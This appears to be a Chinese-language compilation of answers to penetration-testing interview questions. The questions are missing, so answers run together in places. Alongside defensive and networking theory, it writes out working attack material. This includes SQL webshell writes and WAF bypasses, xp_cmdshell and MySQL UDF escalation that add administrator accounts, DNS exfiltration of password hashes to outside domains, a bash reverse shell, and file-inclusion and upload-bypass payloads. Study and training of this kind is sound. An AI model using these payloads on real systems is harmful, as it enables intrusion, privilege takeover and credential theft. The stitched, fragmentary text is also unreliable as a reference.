渗透测试工程师面试题大全(二)
from:backlion大佬 整理
(1)select ‘一句话’ into outfile ‘路径’
(2)select ‘一句话’ into dumpfile ‘路径’
(3) select ‘’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
(1)验证 referer
(2)验证 token
详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
(1)SQL 注入
(2)失效的身份认证和会话管理
(3)跨站脚本攻击 XSS
(4)直接引用不安全的对象
(5)安全配置错误
(6)敏感信息泄露
(7)缺少功能级的访问控制
(8)跨站请求伪造 CSRF
(9)使用含有已知漏洞的组件
(10))未验证的重定向和转发
(1)使用安全的 API
(2)对输入的特殊字符进行 Escape 转义处理
(3)使用白名单来规范化输入验证方法
(4)对客户端输入进行控制,不允许输入 SQL 注入相关的特殊字符
(5)服务器端在提交数据库进行 SQL 查询之前,对特殊字符进行过滤、转义、替换、删除。
(1)代码执行: eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_fu nction
(2)文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
(3)命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
src 指定一个远程的脚本文件,获取 referer
远程服务器修改 apache 配置文件,配置.jpg 文件以 php 方式来解析
AddType application/x-httpd-php .jpg
会以 php 方式来解析
(1)关键字可以用%(只限 IIS 系列),比如 select 可以 sel%e%ct。原理:
网络层 waf 对 SEL%E%CT 进行 url 解码后变成 SEL%E%CT,匹配 select 失败,而进入 asp.dll 对 SEL%E%CT 进行 url 解码却变成 select。IIS 下的 asp.dll 文件在对 asp 文件后参数串进行 url 解码时,会直接过滤掉 09-0d(09 是 tab 键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss 也是同理。
(2)内联注释。安全狗不拦截,但是安全宝、加速乐、D 盾等,看到/!/就 Fack
了,所以只限于安全狗。比如:/!select*/
(3)编码。这个方法对 waf 很有效果,因为一般 waf 会解码,但是我们利用这
个特点,进行两次编码,他解了第一次但不会解第二次,就 bypass 了。腾讯
waf、百度 waf 等等都可以这样 bypass 的
(4)绕过策略如:伪造搜索引擎
早些版本的安全狗是有这个漏洞的,就是把 User-Agent 修改为搜索引擎
(5)插入关键目录 admin,dede,install 等目录绕过 360webscan
360webscan 脚本存在这个问题,就是判断是否为 admin dede install 等目录,如果是则不做拦截
GET /pen/news.php?id=1 union select user,password from mysql.user GET /pen/news.php/admin?id=1 union select user,password from
mysql.user
GET /pen/admin/…\news.php?id=1 union select user,password from mysql.user (6)multipart 请求绕过,在 POST 请求中添加一个上传文件,绕过了绝大多数WAF。
(7)参数绕过,复制参数,id=1&id=1
用一些特殊字符代替空格,比如在 mysql 中%0a 是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在 sqlserver 中可以用/**/代替空格
(8)内联注释,
文件上传,复制文件包一份再加一份
在 form-data;后面增加一定的字符
宽字符:解 决方法:就是在初始化连接和字符集之后,使用 SET
character_set_client=binary 来设定客户端的字符集是二进制的。修改
Windows 下的 MySQL 配置文件一般是 my.ini,Linux 下的 MySQL 配置文件一般是 my.cnf,比如:mysql_query (“SETcharacter_set_client=binary”);。
character_set_client 指定的是 SQL 语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。
详细参考:
http://wenku.baidu.com/link?url=F4Cq18NYdsnATq3eqtr3zCWLKExoEYV62yJp5zsfM5c85iv4rldTvl1A_SGilEAiWB_O_hg0C9A8VLoIT4K_HxyyF0Z7xo5Pihh1VxxYa4QGiXQ_wGDjiOFHubYvshgl
【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞
【影响平台】Oracle 8i / 9i / 10g / XE
【风险等级】高
【攻击需求】较低权限账号
【造成危害】取得管理员权限
(1)首先看看 xp_cmdshel 是否 l 存在,不存在的话先恢复,恢复语句如下:
Exec sp_configure show advanced options,1;RECONFIGURE;EXEC sp_configure xp_cmdshell,1;RECONFIGURE;
;EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;–
(2)如果 xp_cmdshell 还是不行就再执行命令
;dbcc addextendedproc(“xp_cmdshell”,“xplog70.dll”);–
或;sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll 来恢复cmdshell
(3)无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc xp_cmdshell
第二步执行:exec sp_addextendedproc xp_cmdshell,xpweb70.dll
然后按 F5 键命令执行完毕
(4)终极方法
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后, 2000servser 系统:
declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net user dell huxifeng007 /add
declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net localgroup administrators dell /add sql2008 提权 低权限运行
错误代码”5″,马上 google 之。由于 xp_cmdshell 是严格用%systemroot%\system32\cmd.exe 去执行所提交的命令的,提示”5″,意思是 cmd 的权限不足,就是说 system32 下的 cmd.exe 被降权了。当然也有绕过的方法,比如启用沙盒模式执行 shell 命令:
(1)第一种函数
select name from sysobjects where xtype=u 通过这个来爆第一个表
select name from sysobjects where xtype=u and name not in(爆出来的表1,爆出来的表 2…)
一直爆下去,直到找到我们所需要的表位置
(2)第二种函数
select table_name from information_schema.tables
select table_name from information_schema.tables where table_name
not in (爆出来的表 1,爆出来的表 2…)
参考文章:http://www.freebuf.com/articles/web/10280.html
(1)引用外部实体或者
名称 PUBLIC “public_ID” “URI”>当允许引用外部实体时,通过构造恶意内容
(2)可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
对于不同 XML 解析器,对外部实体有不同处理规则,在 PHP 中默认处理的函数为:xml_parse 和 simplexml_load xml_parse 的实现方式为 expat 库,默认情况不会解析外部实体,而 simplexml_load 默认情况下会解析外部实体,造成安全威胁.除 PHP 外,在 Java,Python 等处理 xml 的组件及函数中都可能存在此问题
https://www.waitalone.cn/xxe-attack.html
XXE 漏洞 http://www.91ri.org/9539.html
(3)防御:
方案一、使用开发语言提供的禁用外部实体的方法
libxml_disable_entity_loader(true);
方案二、过滤用户提交的 XML 数据
1.检查所使用的底层 xml 解析库,默认禁止外部实体的解析
2.使用第三方应用代码及时升级补丁
3.同时增强对系统的监控,防止此问题被人利用
对于 PHP,由于 simplexml_load_string 函数的 XML 解析问题出在 libxml 库上,
所以加载实体前可以调用这样一个函数
参考文章: http://www.jb51.net/article/38990
(1)UDF 提权
这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:
create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user 123!@#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:web3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);
(2)VBS 启动项提权
create table a (cmd text);
insert into a values (“set wshshell=createobject (”“wscript.shell”") " );
insert into a values (“a=wshshell.run (”“cmd.exe /c net user iis_user 123!@#abcABC/add”",0) " );
insert into a values (“b=wshshell.run (”“cmd.exe /c net localgroup administrators iis_user /add”",0) " );
select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs”;
(3)Linx MySQL BackDoor 提权
Linx Mysql Door
Mysql BackDoor 是一款针对 PHP+Mysql 服务器开发的后门,该后门安装后为Mysql 增加一个可以执行系统命令的"state"函数,并且随 Mysql 进程启动一个基于 Dll 的嗅探型后门,这个后门在 Windows 下拥有与 Mysql 一样的系统权限,从而巧妙的实现了无端口,无进程,无服务的穿墙木马.
用法:将 Mysql.php 传到 PHP 服务器上,点击"自动安装 Mysql BackDoor",然后直接执行命令即可。
(4)MIX.DLL 提权
1.在独立 IP 的 sqlmap 下运行
2.禁用本地缓存
net stop dns 3.http://localhost/inject.php?user=123’
and if((SELECT LOAD_FILE(CONCAT(’\’,(SELECT hex(user())),’.abc.com\foobar’))),1,1)%23 http://localhost/inject.php?user=123’
and if((SELECT LOADFILE(CONCAT(’\’,(SELECT concat(user,’’,mid(password,2,41)) from user where user=‘root’ limit 1),’.md5crack.cn\foobar’))),1,1)%23 https://sanwen8.cn/p/1acWt8J.html
4.DNS 突破
参考文章:http://www.freebuf.com/vuls/85021.html
(1)SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
(2)SSRF 统一错误信息,避免用户可以根据错误信息来判断远程服务器端口状态
1.限制请求的端口为 HTTP 常用的端口,比如 80,443,8080,8088 等
2.黑名单内网 IP。
3.禁用不需要的协议,仅仅允许 HTTP 和 HTTPS.
system,exec,shell_exec,paassthru,popen,proc_popen,
反弹 shell
公网服务器执行 nc –lvv 8888
目标服务器上执行?cmd= bash -i >& /dev/tcp/10.0.0.1/8888 0>&1
并在 disabl_functions 中禁用
(1)配合文件上传漏洞 GetShell,可以执行任意脚本代码,网站源码文件以及配置文件泄露,远程包含 GetShel, 控制整个网站甚至是服务器
(2)allow_url_fopen 和 allow_url_include 为 ON 的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞
(3)/etc/passwd • 需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
(4)/etc/passwd././././././././././././.[…]/././././././././.
(5)php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows需要长于 256index.php?page=php://filter/read/=convert.base64-encode/resource=index.php
通过抓包截断将 eval.php.jpg 换成 eval.php_jpg(下划线为 0x00)。在上传文件时系统文件遇到 0x00。会认为文件已经结束。从而将 eval.php.jpg 的内容写入到 eval.php 中。
.htaccess 文件内容
SetHandler application/x-httpd-php
文件幻数检测 jpg(JFIF) gif(GIF89a) png(%PNG) apache 解析漏洞,2.0-2.2 IIS7.5 解析漏洞,任意文件名后加.php
nginx<0.8.32 1.jpg/1.php
nginx>0.8.41<1.5.6,1.jpg%20.php 解析
**SQL 注入(Sql Injection )是一种将 SQL 语句插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行。
不同之处在于服务器不会在其相应中返回消息主体。
• TRACE。这种方法主要用于诊断。
• OPTIONS。这种方法要求服务器报告对某一特殊资源有效的 HTTP 方法。
• PUT。这个方法试图使用包含在请求主体中的内容,向服务器上传制定的资源
** 各种注释#-- – - --+ // /**/ 空白字符,+号,-号,~号,!号,@形式
{} %0a-----------------------------
工作组是一群计算机的集合,它仅仅是一个逻辑的集合,各自计算机还是各自管理的,你要访问其中的计算机,还是要到被访问计算机上来实现用户验证的。而域不同,域是一个有安全边界的计算机集合,在同一个域中的计算机彼此之间已经建立了信任关系,在域内访问其他机器,不再需要被访问机器的许可了。为什么是这样的呢?因为在加入域的时候,管理员为每个计算机在域中(可和用户不在同一域中)建立了一个计算机帐户,这个帐户和用户帐户一样,也有密码保护的。可是大家要问了,我没有输入过什么密码啊,是的,你确实没有输入,计算机帐户的密码不叫密码,在域中称为登录凭据,它是由 2000 的 DC(域控制器)上的 KDC 服务来颁发和维护的。为了保证系统的安全,KDC 服务每 30 天会自动更新一次所有的凭据,并把上次使用的凭据记录下来。周而复始。也就是说服务器始终保存着 2 个凭据,其有效时间是 60 天,60 天后,上次使用的凭据就会被系统丢弃。如果你的 GHOST 备份里带有的凭据是 60 天的,那么该计算机将不能被 KDC 服务验证,从而系统将禁止在这个计算机上的任何访问请求(包括登录),解决的方法呢,简单的方法使将计算机脱离域并重新加入,KDC 服务会重新设置这一凭据。或者使用 2000 资源包里的 NETDOM 命令强制重新设置安全凭据。因此在有域的环境下,请尽量不要在计算机加入域后使用 GHOST备份系统分区,如果作了,请在恢复时确认备份是在 60 天内作的,如果超出,就最好联系你的系统管理员,你可以需要管理员重新设置计算机安全凭据,否则你将不能登录域环境。域和工作组适用的环境不同,域一般是用在比较大的网络里,工作组则较小,在一个域中需要一台类似服务器的计算机,叫域控服务器,其他电脑如果想互相访问首先都是经过它的,但是工作组则不同,在一个工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的,但是和域一样,如果一台计算机想访问其他计算机的话首先也要找到这个组中的一台类似组控服务器,组控服务器不是固定的,以选举的方式实现,它存储着这个组的相关信息,找到这台计算机后得到组的信息然后访问。
对称加密:加解密用同一密钥,密钥维护复杂 n(n-1)/2,不适合互联网传输密钥,加解密效率高。应用于加密数据。
非对称加密:公钥推不出私钥,每个用户一个非对称密钥对就可以,适合于互联网传输公钥,但是加密效率低,应用于数字签名及加密。
1.为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收到的内容进行隔离。浏览器不允许任何旧有脚本访问一个站点的 cookie,否则 ,会话容易被劫持。只有发布 cookie 的站点能够访问这些 cookie,只有通过该站点返回的页面所包含或加载的 JavaScript 才能访问 cookie。
协议相同,域名相同,端口相同
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
工具–文件夹选项–查看–将隐藏被保护的文件的对勾去掉就会看到 cookies 文件夹。
攻击者代码:
脚本端:
获取到 cookie 后,用 firebug 找到 cookie,新建 cookie
加入 cookie,用 referer 来提交,无需输入帐号密码直接登录进去!
也可参考
http://www.cnblogs.com/bizhu/archive/2012/05/12/2497493.html
(1)tcp、udp 区别
TCP 的优点:
可靠,稳定
TCP 的可靠体现在 TCP 在传递数据之前,会有三次握手来建立连接,而且在数据传递时,有确认、窗口、重传、拥塞控制机制,在数据传完后,还会断开连接用来节约系统资源。
TCP 的缺点:
慢,效率低,占用系统资源高,易被攻击
TCP在传递数据之前,要先建连接,这会消耗时间,而且在数据传递时,确认机 制、重传机制、拥塞控制机制等都会消耗大量的时间,而且要在每台设备上维护所有的传输连接,事实上,每个连接都会占用系统的 CPU、内存等硬件资源。
而且,因为 TCP 有确认机制、三次握手机制,这些也导致 TCP 容易被人利用,实现 DOS、DDOS、CC 等攻击。
UDP 的优点:
快,比 TCP 稍安全。UDP 没有 TCP 的握手、确认、窗口、重传、拥塞控制等机制,UDP 是一个无状态的传输协议,所以它在传递数据时非常快。没有 TCP 的这些机制,UDP 较 TCP被攻击者利用的漏洞就要少一些。但 UDP 也是无法避免攻击的,
比如:UDP
Flood 攻击……
UDP 的缺点:
不可靠,不稳定。因为 UDP 没有 TCP 那些可靠的机制,在数据传递时,如果网络质量不好,就会很容易丢包。
基于上面的优缺点,那么什么时候应该使用 TCP:
当对网络通讯质量有要求的时候,比如:整个数据要准确无误的传递给对方,这往往用于一些要求可靠的应用,比如 HTTP、HTTPS、FTP 等传输文件的协议,POP、SMTP 等邮件传输的协议。
在日常生活中,常见使用 TCP 协议的应用如下:
浏览器,用的 HTTP
FlashFXP,用的 FTP
Outlook,用的 POP、SMTP
Putty,用的 Telnet、SSH
QQ 文件传输
什么时候应该使用 UDP:
当对网络通讯质量要求不高的时候,要求网络通讯速度能尽量的快,这时就可以
使用 UDP。
比如,日常生活中,常见使用 UDP 协议的应用如下:
QQ 语音
QQ 视频
TFTP
(2)TCP 握手协议
在 TCP/IP 协议中,TCP 协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送 syn 包(syn=j)到服务器,并进入SYN_SEND 状态,等待服务器确认;
第二次握手:服务器收到 syn 包,必须确认客户的 SYN(ack=j+1),同时自己也发送一个 SYN 包(syn=k),即 SYN+ACK 包,此时服务器进入 SYN_RECV 状态;
第三次握手:客户端收到服务器的 SYN+ACK 包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入 ESTABLISHED 状态,完成三次握手。
完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:
未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的 SYN 包(syn=j)开设一个条目,该条目表明服务器已收到 SYN 包,并向客户发出确认,正在等待客户的确认包。
这些条目所标识的连接在服务器处于 Syn_RECV 状态,当服务器收到客户的确认包时,删除该条目,服务器进入 ESTABLISHED 状态。
backlog 参数:表示未连接队列的最大容纳数目。
SYN-ACK 重传次数 服务器发送完 SYN-ACK 包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到 SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为 Timeout 时间、SYN_RECV 存活时间。
(3)SYN 攻击原理
SYN 攻击属于 DOS 攻击的一种,它利用 TCP 协议缺陷,通过发送大量的半连接请求,耗费 CPU 和内存资源。
SYN 攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN 攻击并不管目标是什么系统,只要这些系统打开 TCP 服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV 状态。
当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合 IP 欺骗,SYN 攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的 IP 地址,向服务器不断地发送 syn 包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的 SYN 包将长时间占用未连接队列,正常的 SYN 请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
信息安全国际第一认证——CISSP
信息安全国内认证——CISAW
信息安全国内认证——CISP
信息安全技术实操认证新贵——Security+
IT 审计人员的必备之证——CISA=
启动 xampp(XAMPP(Apache+MySQL+PHP+PERL)是一个功能强大的建站集成软件包。)下的 apache 中间件和 mysql将 dvwa 放到 xampp 下的 htdocs 目录下在浏览器输入 http://127.0.0.1/dvwa 即可使用啦!
还有 owasp 的漏洞练习平台:
https://sourceforge.net/projects/owaspbwa/files/
渗透测试流程概述
前期交互阶段、情报搜集阶段、威胁建模阶段、漏洞分析阶段、渗透攻击阶段(Exploitation)、后渗透攻击阶段(怎么一直控制,维持访问)、报告阶段。
攻击前:网络踩点、网络扫描、网络查点攻击中:利用漏洞信息进行渗透攻击、获取权限
攻击后:后渗透维持攻击、文件拷贝、木马植入、痕迹擦除
1.对前端输入做过滤和编码:
比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的;对特殊字符进行过滤和转义;
2.对输出做过滤和编码:在变量值输出到前端的 HTML 时进行编码和转义;
3.给关键 cookie 使用 http-only
整理来源:http://www.williamlong.info/archives/118.html
保持 Windows 升级:
使用 IIS 防范工具
移除缺省的 Web 站点
如果你并不需要 FTP 和 SMTP 服务,请卸载它们
有规则地检查你的管理员组和服务:
严格控制服务器的写访问权限
设置复杂的密码
减少/排除 Web 服务器上的共享
禁用 TCP/IP 协议中的 NetBIOS:
使用 TCP 端口阻塞
仔细检查*.bat 和*.exe 文件: 每周搜索一次*.bat
管理 IIS 目录安全:
使用 NTFS 安全:
管理用户账户
审计你的 Web 服务器:
整理来源:http://blog.csdn.net/shuxiao9058/article/details/7051463
安装完虚拟机后,默认安装了两个虚拟网卡,VMnet1 和 VMnet8,其他的未安装(当然也可以手动安装其他的)。其中 VMnet1 是 host 网卡,用于 host 方式连接网络的。VMnet8 是 NAT 网卡,用于 NAT 方式连接网络的。它们的 IP 地址是随机生成的,如果要用虚拟机做实验的话,最好将 VMnet1 到 VMnet8 的 IP 地址改掉。习惯上把 VMware 虚拟网卡使用的网段"固定",使用如下原则:VMnet1 对应的网段是 192.168.10.0,VMnet2 对应的网段是 192.168.20.0,其他的类似。当然平常只是随便用用的就不用改了,能上网就行了。
VMware 网络连接的方式主要有:桥接(Bridged)、NAT、主机网络(Host-Only)。
说明:使用 VMnet0 虚拟交换机,此时虚拟机相当与网络上的一台独立计算机与主机一样,拥有一个独立的 IP 地址,其网络拓扑如图 1 所示,使用桥接方式,A,A1,A2,B 可互访。
图 1
说明:使用 Vmnet8 虚拟交换机,此时虚拟机可以通过主机单向网络上的其他工作站,其他工作站不能访问虚拟机。
其网络拓扑如图 2 所示,使用 NAT 方式,A1,A2 可以访问 B,但 B 不可以访问 A1,A2。但 A,A1,A2 可以互访。
图 2
3.Use Host-Only networking(使用主机网络)
说明:使用 Vmnet1 虚拟交换机,此时虚拟机只能与虚拟机、主机互访。也就是不能上 Internet,其网络拓扑如图 3 所示,使用 Host 方式,A,A1,A2 可以互访,但 A1,A2 不能访问 B,也不能被 B
访问。
图3
基本可以。因为把 cookie 的值给浏览器,浏览器去访问页面会用已有的 cookie去访问,如果 cookie 有效,就会直接进去。
SSL 协议(Secure Socket Layer,安全套接层)主要是使用公开密钥体制和 X.509数字证书技术保护信息传输的机密性和完整性,它不能保证信息的不可抵赖性,主要适用于点对点之间的信息传输,常用 Web Server 方式。
详细解释 http://hover.blog.51cto.com/258348/218841
(1)什么是网关
首先来简单解释一下什么是网关,网关工作在 OSI 七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门。
(2)ARP 协议是什么
ARP(Address Resolution Protocol)地址转换协议,工作在 OSI 模型的数据链路层,在以太网中,网络设备之间互相通信是用 MAC 地址而不是 IP 地址,ARP 协议就是用来把 IP 地址转换为 MAC 地址的。而 RARP 和 ARP 相反,它是反向地址转换协议,把 MAC 地址转换为 IP 地址。
假设 A(192.168.1.2)与 B(192.168.1.3)在同一局域网,A 要和 B 实现通信。A 首先会发送一个数据包到广播地址(192.168.1.255),该数据包中包含了源 IP(A)、源 MAC、目的 IP(B)、目的 MAC,这个数据包会被发放给局域网中所有的主机,但是只有 B 主机会回复一个包含了源 IP(B)、源 MAC、目的 IP(A)、目的 MAC 的数据包给 A,同时 A 主机会将返回的这个地址保存在 ARP 缓存表中。
(3)ARP 欺骗原理
上面提到过了 ARP 缓存表,在每台主机都有一个 ARP 缓存表,缓存表中记录了IP 地址与 MAC 地址的对应关系,而局域网数据传输依靠的是 MAC 地址。
假设主机 A 192.168.1.2,B 192.168.1.3,C 192.168.1.4; 网关 G 192.168.1.1;在同一局域网,主机 A 和 B 通过网关 G 相互通信,就好比 A 和 B 两个人写信,由邮递员 G 送信,C 永远都不会知道 A 和 B 之间说了些什么话。但是并不是想象中的那么安全,在 ARP 缓存表机制存在一个缺陷,就是当请求主机收到 ARP应答包后,不会去验证自己是否向对方主机发送过 ARP 请求包,就直接把这个返回包中的 IP 地址与 MAC 地址的对应关系保存进 ARP 缓存表中,如果原有相同 IP 对应关系,原有的则会被替换。这样 C 就有了偷听 A 和 B 的谈话的可能,继续思考上面的例子:
C 假扮邮递员,首先要告诉 A 说:“我就是邮递员” (C 主机向 A 发送构造好的返回包,源 IP 为 G 192.168.1.1,源 MAC 为 C 自己的 MAC 地址),愚蠢的A 很轻易的相信了,直接把“C 是邮递员”这个信息记在了脑子里;C 再假扮 A,告诉邮递员:“我就是 A” (C 向网关 G 发送构造好的返回包,源 IP 为 A 192.168.1.2,源 MAC 地址为自己的 MAC 地址),智商捉急的邮递员想都没想就相信了,以后就把 B 的来信送给了 C,C 当然就可以知道 A 和 B之间聊了些什么
上面 ABCG 的故事就是 ARP 双向欺骗的原理了
ARP 单向欺骗就更好理解了,C 只向 A 发送一个返回包,告诉 A:G 192.168.1.1的 MAC 地址为 5c-63-bf-79-1d-fa(一个错误的 mac 地址),A 把这个信息记录在了缓存表中,而 G 的缓存表不变,也就是说,A 把数据包给了 C,而 G的包还是给 A,这样就是 ARP 单向欺骗了。
在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?!当然,这只是一个比喻,但这恰恰就是会话劫持的喻意。所谓会话,就是两台主机之间的一次通讯。例如你 Telnet 到某台主机,这就是一次 Telnet 会话;你浏览某个网站,这就是一次 HTTP 会话。而会话劫持(Session Hijack),就是结合了嗅探以及欺骗技术在内的攻击手段。例如,在一次正常的会话过程当中,攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行简听,甚至可以是代替某一方主机接管会话。我们可以把会话劫持攻击分为两种类型:
1)中间人攻击(Man In The Middle,简称 MITM),
2)注射式攻击(Injection);
并且还可以把会话劫持攻击分为两种形式:
1)被动劫持
2)主动劫持;
被动劫持实际上就是在后台监视双方会话的数据流,丛中获得敏感数据;而主动劫持则是将会话当中的某一台主机“踢”下线,然后由攻击者取代并接管会话,这种攻击方法危害非常大,攻击者可以做很多事情,比如“cat etc/master.passwd”(FreeBSD 下的 Shadow 文件)。图 1 为会话劫持示意图。
这也就是我们常说的“中间人攻击”,在网上讨论比较多的就是 SMB 会话劫持,这也是一个典型的中间人攻击。要想正确的实施中间人攻击,攻击者首先需要使用 ARP 欺骗或 DNS 欺骗,将会话双方的通讯流暗中改变,而这种改变对于会话双方来说是完全透明的。关于 ARP 欺骗黑客防线介绍的比较多,网上的资料也比较多,我就不在多说了,我只简单谈谈 DNS 欺骗。
DNS(Domain NameSystem),即域名服务器,我们几乎天天都要用到。对于正常的 DNS 请求,例如在浏览器输入www.hacker.com.cn,然后系统先查看 Hosts 文件,如果有相对应的 IP,就使用这个 IP 地址访问网站(其实,利用 Hosts 文件就可以实现DNS 欺骗);如果没有,才去请求 DNS 服务器;DNS 服务器在接收到请求之后,解析出其对应的 IP 地址,返回给我本地,最后你就可以登陆到黑客防线的网站。而 DNS 欺骗则是,目标将其 DNS 请求发送到攻击者这里,然后攻击者伪造 DNS 响应,将正确的 IP 地址替换为其他 IP,之后你就登陆了这个攻击者指定的 IP,而攻击者早就在这个 IP 中安排好了恶意网页,可你却在不知不觉中已经被攻击者下了“套”……DNS 欺骗也可以在广域网中进行,比较常见的有“Web 服务器重定向”、“邮件服务器重定向”等等。但不管是 ARP 欺骗,还是 DNS 欺骗,中间人攻击都改变正常的通讯流,它就相当于会话双方之间的一个透明代理,可以得到一切想知道的信息,甚至是利用一些有缺陷的加密协议来实现。
这种方式的会话劫持比中间人攻击实现起来简单一些,它不会改变会话双方的通讯流,而是在双方正常的通讯流插入恶意数据。在注射式攻击中,需要实现两种技术:
1)IP 欺骗
2)预测 TCP 序列号。
如果是 UDP 协议,只需伪造 IP 地址,然后发送过去就可以了,因为 UDP 没有所谓的 TCP 三次握手,但基于 UDP 的应用协议有流控机制,所以也要做一些额外的工作。对于 IP 欺骗,有两种情需要用到:
1)隐藏自己的 IP 地址;
2)利用两台机器之间的信任关系实施入侵。
在 Unix/Linux 平台上,可以直接使用 Socket 构造 IP 包,在 IP 头中填上虚假的IP 地址,但需要 root 权限;在 Windows 平台上,不能使用 Winsock,需要使用 Winpacp(也可以使用 Libnet)。例如在 Linux 系统,首先打开一个 Raw Socket(原始套接字),然后自己编写 IP 头及其他数据。
攻击者借助代理服务器生成指向受害主机的合法请求,实现 DDOS,和伪装就叫:CC(ChallengeCollapsar)。
CC 主要是用来攻击页面的。大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,访问的人越多,论坛的页面越多,数据库就越大,被访问的频率也越高,占用的系统资源也就相当可观。
一个静态页面不需要服务器多少资源,甚至可以说直接从内存中读出来发给你就可以了,但是论坛就不一样了,我看一个帖子,系统需要到数据库中判断我是否有读帖子的权限,如果有,就读出帖子里面的内容,显示出来——这里至少访问了 2 次数据库,如果数据库的数据容量有 200MB 大小,系统很可能就要在这200MB 大小的数据空间搜索一遍,这需要多少的 CPU 资源和时间?如果我是查找一个关键字,那么时间更加可观,因为前面的搜索可以限定在一个很小的范围内,比如用户权限只查用户表,帖子内容只查帖子表,而且查到就可以马上停止查询,而搜索肯定会对所有的数据进行一次判断,消耗的时间是相当的大。
CC 就是充分利用了这个特点,模拟多个用户(多少线程就是多少用户)不停的进行访问(访问那些需要大量数据操作,就是需要大量 CPU 时间的页面).这一点用一个一般的性能测试软件就可以做到大量模拟用户并发。
如过客户端在向服务端接口进行请求,如果请求信息进行了加密处理,被第三方截取到请求包,虽然第三方无法解密获取其中的数据,但是可以使用该请求包进行重复的请求操作。如果服务端不进行防重放攻击,就会参数服务器压力增大,数据紊乱的后果。而使用添加时间戳的方式可以解决这一问题。
http://www.2cto.com/article/201607/523509.html
证书是 https 里非常重要的主体,可用来识别对方是否可信,以及用其公钥做密钥交换。可以看见证书里面包含证书的颁发者,证书的使用者,证书的公钥,颁发者的签名等信息。其中 Issuer Name 是签发此证书的 CA 名称,用来指定签发证书的 CA 的可识别的唯一名称(DN, Distinguished Name),用于证书链的认证,这样通过各级实体证书的验证,逐渐上溯到链的终止点,即可信任的根 CA,如果到达终点在自己的信任列表内未发现可信任的 CA 则认为此证书不可信。
https 握手过程的证书校验环节就是为了识别证书的有效性唯一性等等,所以严格意义上来说 https 下不存在中间人攻击,存在中间人攻击的前提条件是没有严格的对证书进行校验,或者人为的信任伪造证书,下面一起看下几种常见的
https“中间人攻击”场景。
(1)证书未校验
由于客户端没有做任何的证书校验,所以此时随意一张证书都可以进行中间人攻击,可以使用 burp 里的这个模块进行中间人攻击。
通过浏览器查看实际的 https 证书,是一个自签名的伪造证书。
(2)部分校验
做了部分校验,例如在证书校验过程中只做了证书域名是否匹配的校验,可以使用 burp 的如下模块生成任意域名的伪造证书进行中间人攻击。
实际生成的证书效果,如果只做了域名、证书是否过期等校验可轻松进行中间人攻击(由于 chrome 是做了证书校验的所以会提示证书不可信任)。
(3)证书链校验
